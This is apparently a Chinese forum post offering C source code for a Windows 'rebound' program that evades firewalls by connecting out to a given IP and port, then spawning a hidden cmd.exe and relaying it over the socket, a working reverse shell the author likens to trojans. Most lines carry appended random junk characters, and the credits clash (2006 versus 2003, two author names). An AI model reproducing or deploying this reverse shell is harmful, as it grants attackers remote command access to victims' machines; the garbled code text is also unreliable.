这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a6K1-SR^6)
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/* ============================== w(w%~;\kLP
Rebound port in Windows NT d4"KM+EP?
By wind,2006/7 3kxI'0&T
===============================*/ D]+0X8@kH7
#include
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#include SvUC8y
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#pragma comment(lib,"wsock32.lib") zk+&5d4(
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void OutputShell(); 9Y:JA]U&8
SOCKET sClient; $y!k)"k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D#>+]}5@x
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void main(int argc,char **argv) ?!H<V@a
{ \tc`Aj%K
WSADATA stWsaData; &FrW(>2
int nRet; WNkAI9B
SOCKADDR_IN stSaiClient,stSaiServer; 3}::"X
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if(argc != 3) _vA\j
{ '</
printf("Useage:\n\rRebound DestIP DestPort\n"); Jhbkp?Zli
return; OtuOT=%
} &*TwEN^h
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WSAStartup(MAKEWORD(2,2),&stWsaData); iqecm]Z0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8+Lig
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stSaiClient.sin_family = AF_INET; c nAwoTt4
stSaiClient.sin_port = htons(0); 'U<-w$!f+^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *#j+,q!X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K~nk:}3Ui
{ lhm=(7Y
printf("Bind Socket Failed!\n"); 5m")GWQaP@
return; p#}38`
} l[]K5?AS>-
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stSaiServer.sin_family = AF_INET; Ba/Z<1)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H27J kZ&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^6v ob
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9OB[ig
{ 2#Fc4RR;
printf("Connect Error!"); Tfc5R;Rw
return; {.9phW4Vr?
} jRXpEiM
OutputShell(); fRo_rj _
} V.;,1%
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void OutputShell() mLM$dk3
{ 7*5$=z4,1
char szBuff[1024]; gx&BzODPd0
SECURITY_ATTRIBUTES stSecurityAttributes; E^S[8=
OSVERSIONINFO stOsversionInfo; @YyTXg{ZK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gO-C[j/
STARTUPINFO stStartupInfo; 't=\YFQ*v
char *szShell; S5ka;g
PROCESS_INFORMATION stProcessInformation; Xz5 aTJ&
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5,!,mor$]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )5P*O5kQ -
stSecurityAttributes.lpSecurityDescriptor = 0; =%AFn9q
stSecurityAttributes.bInheritHandle = TRUE; )AOD~T4s7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0N.tPF}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xr~6_N{J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yvo~'k#c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +M%i3A
stStartupInfo.wShowWindow = SW_HIDE; UM%[UyYQ
stStartupInfo.hStdInput = hReadPipe; cOra`7L`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a#W:SgE?Y
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GetVersionEx(&stOsversionInfo); LH..8nfl
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switch(stOsversionInfo.dwPlatformId) y'4H8M2?
{
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case 1: vrXmzq
szShell = "command.com"; D1bS=>
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break; #V[?puE@
default: [wl:"rm
szShell = "cmd.exe"; j[YzBXd
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break; NLM ]KT
} ay#cW.,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W;*rSK|(Sc
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send(sClient,szMsg,77,0); ^a|$z$spf
while(1) /_E:sI9(
{ $enh>!mU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u4B, |_MK
if(lBytesRead) *!UY;InanX
{ hi,!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BR\%aU$u
send(sClient,szBuff,lBytesRead,0); +NPk9jn
} dC@aQi6{6
else 9Qp39(l:
{ O
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lBytesRead=recv(sClient,szBuff,1024,0); c+AZ(6O?\
if(lBytesRead<=0) break; 94%gg0azp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !c:Q+:,H
} Ea1{9>S
} "+s#!Fh *
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return; 5bFE;Y;
}